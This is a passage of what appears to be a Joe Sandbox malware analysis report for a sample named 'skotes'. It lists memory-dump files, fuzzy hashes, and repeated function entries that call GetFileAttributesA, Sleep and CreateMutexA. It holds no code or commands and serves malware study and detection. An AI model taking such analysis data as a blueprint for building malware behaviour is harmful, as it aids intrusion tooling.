Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 66696223838790936f342b6eef17cd111239426d96ea1113015b9f66da1c4da8
Instruction ID: 93d192e63b036c72c3766439e2bc77dbc7545b15dcb7acd2edd7460cfb0706d2
Opcode Fuzzy Hash: 66696223838790936f342b6eef17cd111239426d96ea1113015b9f66da1c4da8
Instruction Fuzzy Hash: 8A311831A041449BFB18BBB8CCC976DB7E2DB86314F2442AAE014A73E5D776A980C752

Function 00B8A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A1B1
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 43edd894c191de307d5dc2cae9ce611f9c86e4fbce679d6a969a86212b7ab652
Instruction ID: 3fdb3f02bed19feeaf89d7c3f37f679636db6dc3bd8430b227b342cede736d74
Opcode Fuzzy Hash: 43edd894c191de307d5dc2cae9ce611f9c86e4fbce679d6a969a86212b7ab652
Instruction Fuzzy Hash: C2311831A041449BFB18BBBCDCC976DB7E2EFC6314F2442AAE114A72E1D7769980C752

Function 00B8A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A2E6
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3e6dc93b5fc2580b82ca64fd2b7ea3e4a889b363bd68d1ddc51871515ee24632
Instruction ID: a78efef1b9718aea9b0d82b24e02e57423d106c7f10309e56e09f5de60ef9e35
Opcode Fuzzy Hash: 3e6dc93b5fc2580b82ca64fd2b7ea3e4a889b363bd68d1ddc51871515ee24632
Instruction Fuzzy Hash: 4B314C316042449BFB18AB7CDCC976CB7F2EFC6314F2042AAE014A72E5C7759980C752

Function 00B8A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A41B
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ae52b4dc9679576a5ad9bfeb93406667329d61428810e63d84fff2f814a8b2c3
Instruction ID: 6b0eb13a24d42ebdb737973d3e92adebc87f766f459cad9f44b96175764599a8
Opcode Fuzzy Hash: ae52b4dc9679576a5ad9bfeb93406667329d61428810e63d84fff2f814a8b2c3
Instruction Fuzzy Hash: E1311931A041449BFF08BBB8DC8976DBBE2DF85314F24429AE1149B3E5D7B59980C752

Function 00B8A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A550
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b12ce0ed811709e66f89ccda6eb963753739effd494cb540459d49a8cbc1db3c
Instruction ID: a3f81e0f28e1c64fb3b024f188652fdb178578d0cbff35896bab8eed8d2087f2
Opcode Fuzzy Hash: b12ce0ed811709e66f89ccda6eb963753739effd494cb540459d49a8cbc1db3c
Instruction Fuzzy Hash: 78314C31A051049BFB08EB78DCC97ACBBE2EFC5314F24429AE0149B2E5D7759980C752

Function 00B8A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B8A685
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
